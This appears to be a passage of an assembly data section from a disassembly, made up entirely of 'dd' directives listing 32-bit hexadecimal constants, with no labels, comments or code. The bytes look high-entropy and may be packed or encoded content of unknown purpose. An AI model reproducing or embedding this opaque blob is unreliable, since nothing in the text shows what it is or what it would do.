dd 0CF882F47h, 0F1C04C18h, 0FADBF21Bh, 1E919D1Fh, 86F58AC2h
dd 0D88E811h, 268800C7h, 63907813h, 41E21CB2h, 495DE300h
dd 0E41B33A6h, 66080004h, 44AD528Eh, 49C20D1Ah, 19DFCDEh
dd 0D2927F45h, 0BFC93CA0h, 8F7A07D3h, 0C40E2231h, 1842FD19h
dd 975A108Ah, 9F52D601h, 4636D749h, 5625880h, 7CA2BE20h
dd 5C4ED500h, 0A7B2F9E7h, 0D619077Fh, 406391BBh, 66FA9958h
dd 1682DC0Eh, 0BEECE0AFh, 70A45D3h, 96518790h, 6E0980EDh
dd 9A0720A3h, 4023152Eh, 38B0E207h, 13DD1A5Ch, 6FA04Dh
dd 4B96B1ACh, 7B00816Ah, 0D3268AACh, 0FBE615Fh, 5B0F8430h
dd 0B0EDAC3h, 0DC5848E0h, 797C2A03h, 1E72577Ah, 0C1B26A68h
dd 3C1E0794h, 568BD8D4h, 2734B901h, 18FE2D05h, 64AC040h
dd 2C5400F1h, 41558908h, 591DE9C8h, 0A140D67Ah, 0E31DB90Ch
dd 24BD0566h, 0C1D1C097h, 0E744774Ch, 0E49320F1h, 2A0E5BB3h
dd 2169961Bh, 0E0F5DF74h, 0E795F051h, 0E25673E4h, 260F052Ch
dd 0E3AC32h, 0DEE512BDh, 440AA235h, 0C8DB63EEh, 990AD680h
dd 0F8851C7Ah, 0D182008Ah, 0A706C965h, 2800B27Dh, 0E65FB8BEh
dd 3A738625h, 6396603Eh, 1E544026h, 22D2A2C7h, 8371CC0Eh
dd 0CE446035h, 0EE75DEB8h, 0B62500B0h, 0FEC43807h, 700001C5h
dd 0F0096A54h, 7233084Eh, 5D5112C1h, 0B184AA1h, 0E41EA5h
dd 1BBBB644h, 0D000535h, 52A3AA41h, 0D6EB6Ch, 6EABF66Ah
dd 83D4D3FEh, 83F02E3Bh, 0F10F2F8Ah, 0B9CCC08Dh, 20DF0971h
dd 67033CBBh, 7C0A7C0h, 0AE60038Ch, 1CFD8320h, 8240C1D3h
dd 0C87CC84Fh, 58008755h, 0AF7D4A3Eh, 0E86628h, 0C1237A9h
dd 0E78F4073h, 9D0F2E78h, 20945D03h, 0A8B0DFD0h, 0B4A00090h
dd 0BABF0887h, 3E18C285h
dd 0CC60D611h, 89780EF4h, 1F615F67h, 60819B18h, 3F074EB3h
dd 7C324C8Bh, 67F227C0h, 90181EBFh, 38046ADh, 760FD192h
dd 6452BE0h, 7F9B7AEh, 0E88CCDBAh, 3CE7110Ch, 205BE1C1h
dd 4C3E223Eh, 61E1D91h, 6A34B640h, 0D61369h, 0BAEA8DC6h
dd 0CD286556h, 4B9EC000h, 52DFBE50h, 70816096h, 0D442F08Ah
dd 0C24668C0h, 4A55666h, 4A2CE76Ah, 0FDB2C050h, 88C0CF80h
dd 4FD22DE0h, 26E4006Dh, 704188BEh, 0E839713Bh, 0E0F11EF0h
dd 0D65C7FC3h, 0A8D8F313h, 32F2B6h, 4CEC0982h, 8B6F2638h
dd 0B5F54500h, 5F41811Dh, 2AFB004Ah, 0A9DE5829h, 0C7759867h
dd 147E9100h, 445D4C88h, 0AA2B00E4h, 30434A84h, 8A1DE2B9h
dd 5000B6F9h, 0F8E445BDh, 0FE7F0F82h, 379B28h, 25357CC1h
dd 0DFF66287h, 0E2C1B500h, 0FB3F06E1h, 696B00F7h, 0A240745h
dd 0D1D3DB6h, 7A80C6BBh, 4BE442EAh, 0DDBE065Dh, 1168743Bh
dd 7C366401h, 2C24E2A7h, 0C623F8C0h, 20E0F008h, 816E0400h
dd 0ED581933h, 609400A0h, 0E73AE4B1h, 0AA003601h, 0FB8F9964h
dd 188B4F05h, 0E0116F6Ch, 7401EE04h, 0DADC28CAh, 0D8E96098h
dd 58BBFBD1h, 748A2200h, 7C6E2041h, 0EAC903Eh, 8F3FB05Eh
dd 0C663C3DFh, 0F21AF0E3h, 0B23500C8h, 0E44F6B6Ah, 391B1728h
dd 0A8F82DB0h, 406D85h, 0C668BEB2h, 5B7360DEh, 8C6AB800h
dd 0FF4A2F99h, 789200F1h, 0C8E2C3BCh, 0B300EFA4h, 0B7E3A19Eh
dd 0F6AF04h, 577F0F30h, 493F0B77h, 3DEEBC00h, 5340457Ch
dd 99900F6Bh, 0C0808EE2h, 0EBBA084Dh, 0BB845000h, 59EE7629h
dd 5E121C26h, 2B874646h, 17330878h, 0F84420C0h, 0E8C023Eh
dd 2EC850E5h, 0AD091561h, 3FE0FA74h, 3A00C2EAh, 0D23D20F8h
dd 3288773h, 0E7B6A5E9h, 7ED05499h, 0C00FCE93h, 0CFF81909h
dd 0BC5DE08Eh, 0E86ED448h, 207760B7h, 27C57CFBh, 0C2BFAB00h
dd 0F06ADAEDh, 0DBBC4474h, 4A981203h, 0C8FF477Ah, 3D7F89C4h
dd 0F7F267h, 0F3C694B3h, 0FF52C2C5h, 8739DA0Ch, 0F4CEE97Fh
dd 0AEF7182Ah, 36E011B9h, 6901D7F4h, 3C85F5A1h, 9DD06BB4h
dd 7520CE28h, 55C45320h, 35004EC1h, 30ED65C6h, 2D5B32h
dd 8DAB05E0h, 0E4D4B63Bh, 0F012EE05h, 88001DA1h, 7185A6D1h
dd 29B8C3AEh, 0FF8028D6h, 0D8002184h, 77AC14C4h, 0DE8242C5h
dd 0FD5480A0h, 0E3BE6505h, 7198AD03h, 0EE86E5h, 85504660h
dd 0FEF79127h, 0F1C30F00h, 0B08F8D6Ch, 73EA66h, 0B9F4AF1Bh
dd 520ABC89h, 95009BFAh, 8BEA8341h, 721D4BB1h, 0C024FAC2h
dd 0D2B530AAh, 6100A6B8h, 0A12D94ACh, 694D6Ah, 0FB265F71h
dd 7FB5DD01h, 7389FF13h, 18B32F0h, 0C1A8C26Dh, 0FCA6FA66h
dd 3A000C55h, 0AA628319h, 0F28676C8h, 0DD9A00E0h, 758FA707h
dd 5D00C50Ah, 4F77A505h, 5842EFh, 0E8C33F5Bh, 6A9E5143h
dd 660D3B00h, 331948C7h, 0E73D00F4h, 0BE6CE32Dh, 0D9F849E8h
dd 13300300h, 7E5352B1h, 0D208C69Ah, 0AA0020BFh, 28F208E1h
dd 0F1DEE8Bh, 0CB1BB13Ch, 8D6A0140h, 0E60E78AFh, 80A26DB9h
dd 0FBE4E849h, 18260003h, 67581F88h, 11E8206Fh, 84E340h
dd 0A9B203F6h, 0CCFCF8D8h, 13A02C12h, 8AAF6707h, 60665E21h
dd 30F9EE60h, 3258F503h, 53F57AE7h, 0ADF0A85Ch, 4F436914h
dd 199F10h, 2108E0A1h, 9B6BB7h, 58B01144h, 73351F16h, 0B4DA410Ch
dd 1C490E1h, 0FA199CC6h, 0E0E99723h, 5A018208h, 0BD86EA9Eh
dd 98C9DA3h, 0A8304A33h, 84708A01h, 0CFBF46A0h, 2FFC5831h
dd 922E287Fh, 32A50090h, 0AE480669h, 0FD54B701h, 0ED01169Ch
dd 529CAC22h, 0A04840EBh, 76C43F2h, 19CD03FCh, 7A322704h
dd 8D3F320h, 483800E1h, 2824A6DBh, 0E90A72BFh, 90B0E663h
dd 0E7170C06h, 94AE0022h, 0E28C962Bh, 0E0C09C1Eh, 0BE9DEF63h
dd 8F9486Eh, 5EE9803h, 0F6C27117h, 40398BC8h, 683A7400h
dd 807A0365h, 42DF0014h, 697BF2D8h, 0E20215A4h, 0ABDED6F5h
dd 6980F53Fh, 23B8BA6Ch, 7E4C5D01h, 44344684h, 1ED3D0h
dd 27CEB510h, 48A07877h, 0F8001178h, 2D522A3h, 0EED2C8E4h
dd 2C7E1E90h, 84D68067h, 2B36DCF8h, 499DAC00h, 0DB96CA42h
dd 913900D2h, 0BBD97F92h, 0D51C58D1h, 0A58C691Ch, 0F8F138C2h
dd 1DAA0007h, 0F2A8D2C9h, 0ABFE7221h, 7E299D00h, 0FF238257h
dd 8470CF2Eh, 965D77C0h, 6126494Bh, 0D2003130h, 0A52CF880h
dd 0B71C017Eh, 0CAEADF3Bh, 2E3EC410h, 5C6CC106h, 22194CE0h
dd 0D20733C8h, 0E2A9C71Ch, 106832C6h, 0B1BBDCDh, 8074668Fh
dd 0F3B9408h, 0F414003Dh, 1FBFB5EDh, 5E1DE5A4h, 0CC4003BBh
dd 0CF5F4451h, 64FC00C7h, 9710537h, 0D70797A9h, 0C2F67BD6h
dd 7D6D6050h, 0B6700791h, 70BA99B1h, 82CD3DFBh, 5F840300h
dd 39BE0CF5h, 0B82E178Bh, 0A3C406B6h, 710A20CCh, 8599F3D7h
dd 84A41030h, 0FCD87195h, 60F000C0h, 0E154EB01h, 0C30B51B7h
dd 6689AA5h, 0B031C799h, 1DB0007Ah, 3D06247Ah, 6203B4DCh
dd 0AF20F17h, 0B328D0A4h, 0FA497A52h, 44C06ADh, 41C6A31Fh
dd 40D7CC05h, 0E480BAA1h, 1F4C408h, 3D93C8DCh, 0E0C33579h
dd 9160FFA3h, 0B59E0B31h, 60177080h, 9A3B484Dh, 0B800041Bh
dd 15685329h, 38DB25Fh, 0A1C5EA34h, 7098C9D7h, 0D2001643h
dd 0FB33F13h, 0D86169h, 0FAE32202h, 0A78820D1h, 383ECF1Fh
dd 0F2839380h, 866091h, 0DB37B7D4h, 669712F9h, 0C7CD6E02h
dd 0FDBB4ACEh, 923CD360h, 2E7DE03h, 0C04B75A8h, 58E9348Eh
dd 71000A3Eh, 0B8B51D50h, 7A036CF3h, 900259B7h, 0B9A4906Eh
dd 0ED18030Fh, 9E4E54F7h, 71C58090h, 2174600Eh, 248A0D1h
dd 0A2B116h, 577AB466h, 9DFD1C5Bh, 0C607E57Bh, 6F7CD37Bh
dd 1923A7D0h, 33950B57h, 8A00983Bh, 62A22B1h, 669BFA07h
dd 0C2815F41h, 41FE333Eh, 0DEC0B41Eh, 5A8F0CF5h, 101829C3h
dd 0DB0A4DEEh, 5C03D1A3h, 1CEF3A04h, 0FDF465C0h, 754100F1h
dd 0A1554B28h, 7D005910h, 8F620FAAh, 532774h, 1BE8C584h
dd 55B4E2FBh, 1E702400h, 0B1B2ECA2h, 337A7Ah, 0DA3788CEh
dd 2CA0DB5Bh, 0E59E2CC0h, 42B8D9h, 9B31A3DCh, 0CB3FA5B0h
dd 60245E06h, 1D90FAEDh, 0B2E6C9h, 7F592B9Eh, 6AFCF93Ah
dd 5F391300h, 27F32EA0h, 8580026Fh, 0E597D238h, 0DEEC8040h
dd 9BE9D71Eh, 0A214B32Eh, 4C0539A4h, 781F099Ah, 24668015h
dd 0C31361BFh, 0B798F21h, 0B8E14400h, 0ACA5B24Eh, 1A745Ah
dd 76757E16h, 4667BE91h, 0C9C4A950h, 0B997B500h, 0E486F19Ch
dd 17260089h, 82A8F0ADh, 8A0098DBh, 0CE932EDh, 76CD6FAFh
dd 7BC27CCAh, 0BE73ECh, 8CAC7E85h, 0EBE32FC7h, 0CF092700h
dd 0DFB44492h, 24471DA0h, 9C811F80h, 28CD8088h, 44A112B6h
dd 1FB03E00h, 61EAC3Dh, 0A0C400ADh, 6A682C0Bh, 0E200699Dh
dd 0CBB10E35h, 752E0F05h, 31E4E3h, 5A976C02h, 66CF713Fh
dd 0CA609AE8h, 967EB480h, 491B0018h, 2893CBC2h, 0CD304FE9h
dd 0D4DC604Eh, 0ED9636E8h, 0B82160B1h, 0EC5680D0h, 715EAB8Eh
dd 19CC3086h, 0DB3EA920h, 0C16BFF00h, 0AAB5D57Bh, 0F23B3076h
dd 0DC463850h, 0CC004971h, 668A6EC0h, 0C5259A5h, 50F77057h
dd 2C053588h, 96EA2B1Dh, 0F09C00BBh, 7CB9061Bh, 80A0F5E6h
dd 0B430FE7Fh, 19C3302Fh, 0E7ED00A4h, 350E5796h, 6E00DC0Ch
dd 4DE3682Dh, 0B86FC1h, 0D3ED6211h, 356986B1h, 129CAE00h
dd 0A81D4F9Ah, 5C790006h, 54B6816h, 0A6002249h, 9944BE7Bh
dd 1CD17h
dd 16C7A1CBh, 9AD6B038h, 2A9B050Fh, 3EB84056h, 1FE087h
dd 0D4CBE5Bh, 81F4F9A7h, 7107F076h, 614AD6C6h, 0D02BEC53h
dd 0B87698C4h, 4A44C18h, 25A23500h, 12C72AD6h, 0A31FF00h
dd 2618EEE9h, 7057E16h, 3DCCE166h, 14E1204h, 0DF428E82h
dd 12146460h, 0CDAF9200h, 0B30ADB81h, 15620075h, 0F089E9B9h
dd 0EF00E0D7h, 566D43F5h, 5B8B01h, 0E5D05330h, 4E63698Eh
dd 8C7A5C00h, 0FFF56EBAh, 75E100ECh, 0CE6A5625h, 0ED02E431h
dd 0F271301Ah, 9400DF0Bh, 0ACF00113h, 0F1C1D1Ch, 86267A03h
dd 23CB8087h, 0BFEC1C90h, 4DFB40FEh, 7C6BAD77h, 0C0183000h
dd 0BCEE2086h, 0E5F6000Bh, 9EE69038h, 0A2003C46h, 52C1A6BEh
dd 0E0DEF96h, 7D2DC05Bh, 0F056B087h, 0A727DE1Ch, 5114AEE6h
dd 3AB03972h, 0B85280B2h, 7954CCEDh, 7119C55Bh, 0E0047C38h
dd 0A11E3F1Fh, 471FA917h, 48ABB140h, 0D6DA47h, 1664B862h
dd 77E7DCF7h, 0AA602E06h, 1029A870h, 11D4DD54h, 2311C9F3h
dd 0D84A112Dh, 66087021h, 790F88C7h, 0EDD16A84h, 8DBD11Eh
dd 8251A9Dh, 0EE808EEBh, 0ABB25597h, 5028A058h, 7D3788BEh
dd 0F4314489h, 28242894h, 814BA11h, 0C2FC573h, 80A19A89h
dd 3FF15960h, 18F95CD5h, 29C15FDCh, 0A1C2752Ah, 1D9F5ACh
dd 11EFA61h, 0B11373BBh, 0A82029E6h, 63BC0703h, 0D0BA6A6Dh
dd 7EDFBBA1h, 76092FCh, 1F531D78h, 956C3B14h, 8B77EC00h
dd 8E0C1BF8h, 6F897900h, 0B8EADE9Ah, 943D009Dh, 0C7749EE8h
dd 2000F017h, 0C47C758Fh, 56D081h, 9D89EA32h, 0FCE38C5Eh
dd 5B137900h, 61B9983Ah, 372109C8h, 268025A5h, 0E8EC698Fh
dd 0E05761FBh, 4300DDEEh, 2A9E6C39h, 938447Bh, 0E6CFFBC0h
dd 83DF5900h, 0F00B7CBh, 0FADCCAC9h, 1238E904h, 99F920h
dd 575EB9AFh, 5A140C4Ch, 9EF2FE7h, 414FF0h, 0A7EE884Dh
dd 17300C6h, 6030112Eh, 0C300DF59h, 0A3CEADFBh, 0CD5A89h
dd 1F529AF9h, 34F32D1Ch, 0DF1EB0Eh, 0C4B460B0h, 5AA6A29h
dd 1D71A6E0h, 8480FBB2h, 387CBE45h, 40A496FFh, 0B791D5Ch
dd 8380AEFBh, 0FA8EC325h, 7AC22C00h, 0E80DAACAh, 5D530063h
dd 34E712B5h, 0EC013124h, 0C9276615h, 16703993h, 81694CDAh
dd 0A86D0D00h, 0AB9F25E1h, 1124DD00h, 628F8E3Dh, 0D1F90003h
dd 0B1D75AD2h, 0D400AE6Eh, 2BADC0D9h, 0FBA8117h, 0DC722A8Ch
dd 917B0520h, 0EF70A2DBh, 0FF7AFEE8h, 0B7342200h, 4A37CE6Fh
dd 832D009Eh, 4411A88Ch, 7D002BE2h, 9FF99CDBh, 960A20h
dd 0BB5DED28h, 31EA7415h, 7C007AEEh, 3B84C3B7h, 3BABD27h
dd 5A430CB6h, 0D89975DEh, 0AEF4201Ch, 8702520Eh, 1F25C027h
dd 1FE5F01h, 0FA827154h, 0C123071Ah, 3BDCCB2h, 499D3000h
dd 0CCD25ADDh, 0AD9E02A2h, 0EF46866Ah, 0E1118C0h, 1A8838h
dd 37E5FB5Bh, 263F98Ah, 778FD8F0h, 644091BAh, 0FE00C0B2h
dd 2D704605h, 4875B764h, 0E0446980h, 22A10010h, 0E7980C51h
dd 589014F2h, 0A3306800h, 42E9A511h, 0F976CCh, 6734FE7Dh
dd 0B8659053h, 9BC8AA01h, 0F848BEBBh, 0DE7FC0h, 93DDE6EDh
dd 355EB84Fh, 0D058CB1Ch, 0FC9AEC40h, 98ACAA44h, 7DA7247Ch
dd 0F33D409Ch, 581EB826h, 6E83737Ch, 807ECB8Bh, 0FA0D289Eh
dd 0B9762Fh, 6FDB9CAAh, 0A31098C9h, 32009490h, 390C275Fh
dd 72DD403Fh, 157407ACh, 0D1CD85FDh, 0F063A233h, 7D00C2DFh
dd 832CDAA6h, 38CC7C8h, 62B2BA02h, 0D3886739h, 5D00070Eh
dd 9B8AAA1h, 5F0557h, 0AFE2521Ah, 85650222h, 6F703500h
dd 60D1D672h, 27679B5h, 6ADE0A0Dh, 0AEC0E112h, 200DB9Dh
dd 0EED447F1h, 0A1FCF3h, 0C91C4E8Dh, 3B343EDDh, 0D9659A00h
dd 0B676FB4Bh, 94900F5h, 0E3906FF6h, 440024B9h, 5F353C53h
dd 1806D2h, 6FC5CF87h, 0AF9310BFh, 117B5200h, 41378B61h
dd 338600DBh, 5A677F74h, 1C07DAA0h, 0D7D10484h, 7F4F730h
dd 185400F1h, 8D25B3B9h, 2D00C85Eh, 107A9F2Fh, 0F03448h
dd 9739E736h, 54E3F08h, 1FC9E500h, 0E204CFD3h, 83F900D5h
dd 0BF760309h, 0E7008D92h, 5B0F7965h, 0EC3F4D7Ah, 9B3A004Ch
dd 90AB419Eh, 2109C918h, 0E0D791C1h, 1874048h, 0A06EC293h
dd 0F0753CFBh, 3DF8538Bh, 39AC9500h, 7F6A9699h, 447E00B3h
dd 9F282A43h, 9000E39Ch, 0A94EE020h, 13340559h, 5C36D3h
dd 95C37815h, 30049C1h, 0AC2C6B9h, 0FA1714C7h, 15530079h
dd 1B089E23h, 0B000046Bh, 0E5825E1Ah, 0B5578Fh, 6A7983B3h
dd 9F9FCE6h, 34ABAF00h, 0A7881E06h, 0CA7886h, 3C4883C9h
dd 0E1AA62BCh, 678F400h, 19181316h, 20B50038h, 3DC7297Ah
dd 3B00B75Dh, 0F327417Dh, 923E5Bh, 0B0CFFD2h, 0D9B9C873h
dd 389DCC00h, 0EC8EE9ADh, 0FA2100DCh, 0B672569Ch, 0A8002A76h
dd 6B65A33Ah, 4CD1A492h, 7C00C1B3h, 878FCF39h, 2B825DCh
dd 0BEBCB600h, 40C381E5h, 8EDCFB4Eh, 9120015h, 8262939h
dd 0BA02B55Eh, 80E4A173h, 9AD0A035h, 1351F80Bh, 301256h
dd 1DC26C80h, 9F0036F5h, 4675C916h, 0E8D6022h, 4CBCDB56h
dd 0B67C3CE1h, 0D6E0F254h, 0D3007235h, 28297FF2h, 0FFE907h
dd 5F6F912h, 0E681D95Ah, 0D51B9C07h, 0E7F5CA9Dh, 3FA68CD0h
dd 0CC304C50h, 0D02EF3Eh, 771902F4h, 5E9E8640h, 0AF163C00h
dd 94342BFDh, 0C2B30381h, 0E1DBF09h, 75F020B7h, 9A09479Eh
dd 83BD13E8h, 807C193Ch, 1859A6CAh, 28AC8389h, 727B67A0h
dd 47627A16h, 933FF31Eh, 0A4405E7Bh, 0CB0182A4h, 0AFE13B8Ch
dd 0EB3C1D80h, 5B88F43Ah, 95C91B00h, 0F13870BDh, 0D5440060h
dd 0DD74B798h, 2300A98Fh, 2795FE08h, 0D3294Ah, 25F785D7h
dd 0FFEC344Dh, 821B8609h, 6A5D80EBh, 5D253F9h, 0B2032173h
dd 70158761h, 0B002804Eh, 3F67A900h, 0B1490E63h, 0E7F60096h
dd 301D53A3h, 0D200DA7Ah, 89122E03h, 7637D85Ch, 995B008Eh
dd 8BEC6F31h, 0CF01DD77h, 1F074B13h, 25CC47CAh, 0D566005Ah
dd 0B383D9CBh, 0B900EC9Dh, 0A1AA8F99h, 3187473Fh, 393E523Ch
dd 184CC80h, 13B12400h, 0A19CC272h, 1B7C00A8h, 0E58D52F5h
dd 1600B589h, 0A02DB9E4h, 7C666ADCh, 609400F8h, 0FCFF4556h
dd 50B8E90Ah, 0B2387807h, 5C002115h, 5C5B4E13h, 7100005Fh
dd 0C10936E1h, 4707C8A8h, 0E7276E96h, 0C3751BA0h, 62740049h
dd 6014A32Eh, 68122F8Ah, 1D076586h, 0C6C00AD7h, 0E47542h
dd 9ADEF8F5h, 0BB63B209h, 0AE1D7300h, 14338E95h, 48570074h
dd 84516C66h, 9A0076E0h, 0F9601C9Ch, 17D1EB7Fh, 7E3A92h
dd 0EE83302h, 0D800CFE4h, 9DB4414Eh, 0FCA8C2h, 0A0388125h
dd 0EE33EDABh, 68699000h, 0E5191587h, 323D0431h, 0BE1C083Fh
dd 0DAB39700h, 18C9D6h, 49FC2DA1h, 0B8596536h, 0EA737126h
dd 0FDB16800h, 141EEF7Bh, 0C2756BF9h, 3A49C800h, 57819B04h
dd 34F2587Ah, 9FDF2E1Fh, 5018DD7h, 0C43A0F31h, 7206A420h
dd 0E551006Dh, 24997462h, 7139B98h, 0EE00CFC9h, 84FFFB31h
dd 959E396Ah, 0E600FC58h, 341BB4E3h, 4E008177h, 8FA739A3h
dd 0F1EAADh, 5B057470h, 501D3D73h, 3BAF1F00h, 0F064A0D9h
dd 0D57F3B94h, 0B594980h, 8B2EBE89h, 4B0DA71Ch, 202F3381h
dd 2C7486B7h, 0E0CD0017h, 0F28880D6h, 0FA001863h, 2161C45Fh
dd 3EE9240h, 6ED7ECD4h, 1B88B502h, 62007F5Bh, 0B6C5BAB8h
dd 3E42FAh, 0E9E6FDCh, 1D0B0460h, 9C2F4C00h, 68D88AE8h
dd 0D7A300CEh, 0F2C6B8D4h
dd 0EB00111Fh, 5072890Ah, 0DCF7626Fh, 0E782C066h, 0B2DFE5B4h
dd 6783D300h, 869CD639h, 0B43151E3h, 82C5F8h, 8D290CF4h
dd 3D062E1h, 0C6FF4F00h, 0FC650891h, 0BEFA77h, 0B4E95FD8h
dd 0A09394C7h, 8036C33Eh, 0D5713766h, 586CEE39h, 7058917Ah
dd 0F3196803h, 88B83879h, 7E0E8C4Bh, 1BCFCEBh, 0D933028Fh
dd 16CC9F4h, 1E2217D5h, 0E895C24Dh, 62006127h, 96F1F23Eh
dd 7E2C4AF0h, 67BF00C9h, 0D859A884h, 7C00E578h, 0F0387288h
dd 483D7565h, 31587485h, 0BC322B00h, 71C10884h, 0DE2A7F00h
dd 488DBB81h, 18220015h, 31292766h, 0A6008FB1h, 4C15451h
dd 95197Fh, 0E212476Dh, 8FF0E329h, 1D3B3E79h, 46027D16h
dd 0D6337505h, 0A0B48F37h, 7C9A1D9h, 6024FB97h, 394B0029h
dd 0FEA0C1E4h, 5A5C8ACEh, 73E70BC7h, 990420C7h, 0F011C16Bh
dd 68A00005h, 306AAB37h, 5FB84376h, 0DE9F0807h, 0A6A7F967h
dd 0C0841EF2h, 0BB07EFh, 4AF1A542h, 9136FAA2h, 40064601h
dd 535B031Eh, 7195C4h, 0BD0259DDh, 58E65A13h, 68993Eh
dd 627BD775h, 3550E2Ch, 2E17AD15h, 6DB082CCh, 7FFEF9BDh
dd 0D880D4A2h, 4C1E5BECh, 3B00C5EEh, 0A58937E8h, 6F927Dh
dd 64D01488h, 0F4B86E69h, 41541F00h, 9D8C24FAh, 0E32F023Bh
dd 83BB6577h, 0FE809442h, 0FD91252Eh, 6D0F4098h, 603387A9h
dd 6EB9D2C5h, 3AAC005Ah, 0AE60FEF5h, 7D00013Eh, 2A4CD754h
dd 0ECC888Ch, 9CF73DB7h, 71BE2E00h, 3AF2C851h, 24B40A00h
dd 0EBD6770Fh, 0F93B07E4h, 90DC7367h, 5DB385F6h, 8A13FC00h
dd 563AE76Eh, 0C76F07C9h, 50B02AE3h, 540D2F0h, 9E8FE000h
dd 53C05C2Eh, 0AF68485Dh, 0CED840h, 29781BDEh, 0A2FEFB0Ch
dd 7004BB01h, 23B1E111h, 1E67A8CBh, 9F1D0324h, 144E69C1h
dd 832DE8E8h, 374FAD01h, 0FBA8711Bh, 725394E8h, 0E23898BEh
dd 0F7E41081h, 0EEB8C021h, 428034h, 7CDF1961h, 6766066Ah
dd 0B6BBAB05h, 0EC0EC0F2h, 551DE70Eh, 0A117E700h, 568F0110h
dd 0FD513E4Bh, 38BCF4DBh, 143AD77Ch, 0E36F8071h, 2B8C4F19h
dd 8DE4007Bh, 2E63D923h, 6949B57Dh, 0AEB20AA0h, 428DC29h
dd 0F7253801h, 800C3C4Eh, 7A15E1E0h, 3BDB9813h, 0F99822A5h
dd 2E263882h, 331DB900h, 71C2537Bh, 2C8C7858h, 0F0226Fh
dd 95C612FEh, 0BC007B45h, 42B8C24Fh, 0C0239D04h, 6C020120h
dd 0D400510Eh, 0F153E561h, 9D7AAECh, 79546A1h, 2927000h
dd 0F800835Fh, 40BF2466h, 2FC010h, 0F0B9DF46h, 7AF7CCB2h
dd 8125293Ch, 6B4D2E5Ah, 1430A5E5h, 0DE9A003Ah, 524195Ch
dd 904802E1h, 0F48EFh, 735301F6h, 755AB93h, 236A49A4h
dd 897E308Fh, 4A00F3C7h, 0A7087139h, 795B14B5h, 522E284Dh
dd 590704E4h, 301E8910h, 188B3F0h, 30F42DDCh, 0FCF5F82Eh
dd 0F008907h, 1954058Eh, 0B71FF9Dh, 0F1CB77BBh, 4860108Fh
dd 5358BDCEh, 35FB9700h, 14634B6Bh, 0FE1A7512h, 28F2013Fh
dd 629C9F59h, 0CD44080h, 9101F864h, 78C6687Bh, 0E1C8B443h
dd 0AC950099h, 46D23B7Ah, 0D100A1E6h, 844F5EAFh, 350F39Ch
dd 55B1BBA8h, 0BDA86471h, 650012D7h, 72919556h, 49D74E2h
dd 41E1EA3Ch, 0FE64A0CDh, 97D70086h, 8A0EF3F7h, 1E031DDEh
dd 8705EBAh, 3F36A0B0h, 0EFDA00D3h, 0D1DB06C6h, 30584BFCh
dd 8CEE2EC3h, 59A93B00h, 1C55D4E0h, 40AC8113h, 5EA0100Dh
dd 0F24E6958h, 82689800h, 8DDAE5h, 0B0A22CE4h, 11C0F6DFh
dd 7690A300h, 0D93CD6FBh, 7D1704Ah, 9867C641h, 7492E012h
dd 0E400C5A1h, 0E3A09C97h, 95542Bh, 9BAA01CAh, 3A1B28AEh
dd 2E507D0Fh, 6AB44061h, 70FFABh, 0CBD326FBh, 0C22F4B69h
dd 1E63E400h, 762BEFF7h, 64EA16B8h, 0F8261CECh, 79C4A403h
dd 0E4D8D93Eh, 0B200C7ABh, 958CB88Fh, 39BBB4Fh, 0A4D3D06Bh
dd 0EEF0623Eh, 9098821Eh, 4E80D900h, 424FA610h, 0E4790050h
dd 56FBF270h, 0BE0F1B98h, 0E478F190h, 0D8C02355h, 0A1C40Ah
dd 80C2DFD7h, 0ABF8FDBFh, 0BE1DEE1Ch, 59E99E40h, 9263F0Ch
dd 1E29BDD2h, 634168C8h, 303DD527h, 61AA58h, 0C149FF33h
dd 0B266088h, 42B20413h, 0B14C9000h, 0A5E936h, 7098BDACh
dd 599DDF5h, 857E7700h, 53F9C86Dh, 0B9C4003Dh, 0EE9CF4AAh
dd 4E12E3CDh, 280F662Dh, 0D6AC47BAh, 0FAF7D5C0h, 0C4F816h
dd 6DB0FB7Ch, 597E79A2h, 909AE7Fh, 42AFAC8h, 2CC0311Ch
dd 71C9B4h, 65E1E74Fh, 0EDC4886Ch, 38BC69F2h, 0FF565400h
dd 1FBE708h, 0E65BA5D7h, 0D8583EDDh, 2400DC07h, 0BE25FCA7h
dd 1AB73A0h, 92743C7Ah, 0C0CA69F0h, 1C0F166Fh, 8FD960F1h
dd 77146162h, 92301FCCh, 3FFFB0A0h, 0C380EE07h, 28A8347Ah
dd 7116129Eh, 4FA7D19h, 0C03DDB36h, 966C76FCh, 1A416E1Dh
dd 0C6BB2EC1h, 0A206B3Ch, 30A0142Dh, 0F00A2BDh, 6E47E3F2h
dd 0CC009BCDh, 24569AE9h, 5BAB6EAh, 0F3C8F573h, 0CED46037h
dd 500918Eh, 0EB446ACBh, 160AD2C1h, 0FC738BAh, 1F80CE3Eh
dd 9828F4ADh, 873FCFFEh, 0B00D865h, 9CDCE7DEh, 7921E20Ch
dd 0BF2B004Ch, 7A85604Fh, 6700B2F7h, 0C9E71D6Bh, 0A87228h
dd 0A6CC1655h, 0BEDC6585h, 3590CF07h, 95D0ECEAh, 40D6D2h
dd 48042153h, 0EFC7A57Fh, 1605603h, 0CEF1DFh, 26E51310h
dd 0DEA594D0h, 786D4001h, 0A88EB8Ah, 0CCE0AFE9h, 0CEB11319h
dd 4A1400A2h, 3972581Eh, 4B65DD00h, 9847BA69h, 830D006Ah
dd 0DC46DAB6h, 6D06A1F3h, 5BC864E7h, 8DF20068h, 5CD25F36h
dd 7380F85h, 0C4ED800Ah, 53240328h, 6A60C24Ah, 0F0005120h
dd 0B3EFCBh, 0A9B01B15h, 591454A7h, 0D8B29403h, 0E0564BD3h
dd 0EAAE97h, 0E36525D6h, 1D752CF0h, 387248h, 0C5B28F32h
dd 0F0EE2FBCh, 0BF1B0061h, 0E954D0F0h, 0B2D28CD9h, 0AD9DEC02h
dd 3F6DE056h, 612100E3h, 3566E75Bh, 0C800F9C7h, 0A2C03B17h
dd 0FA522Bh, 0EF5A797Fh, 5C8F94D4h, 0E5D8AB00h, 0C170F2DBh
dd 0A5EA0033h, 3FB7FC2Ah, 8C00C0ECh, 86712E3Ch, 0CCB812h
dd 0A239678Bh, 5E1A24D0h, 738AF000h, 61BEEAD6h, 0EE620064h
dd 43D0C5Ch, 1A266DB3h, 10005CA4h, 53851F0Bh, 0D32B00B5h
dd 0F9E3F86h, 0BB0394BAh, 34634798h, 0CCB6A8EEh, 7DEF018Fh
dd 4E86CD7Fh, 0C64C6082h, 935DEA00h, 0FBEE3688h, 68304931h
dd 17E0C816h, 0B23803DCh, 3DA0FF2Ch, 0ABF2BDE1h, 628F6000h
dd 5BD2F811h, 21970576h, 80ADE577h, 0B2220310h, 0FD3BF670h
dd 71C18CB5h, 3BAF5002h, 73BD88FCh, 0D35A1778h, 95300185h
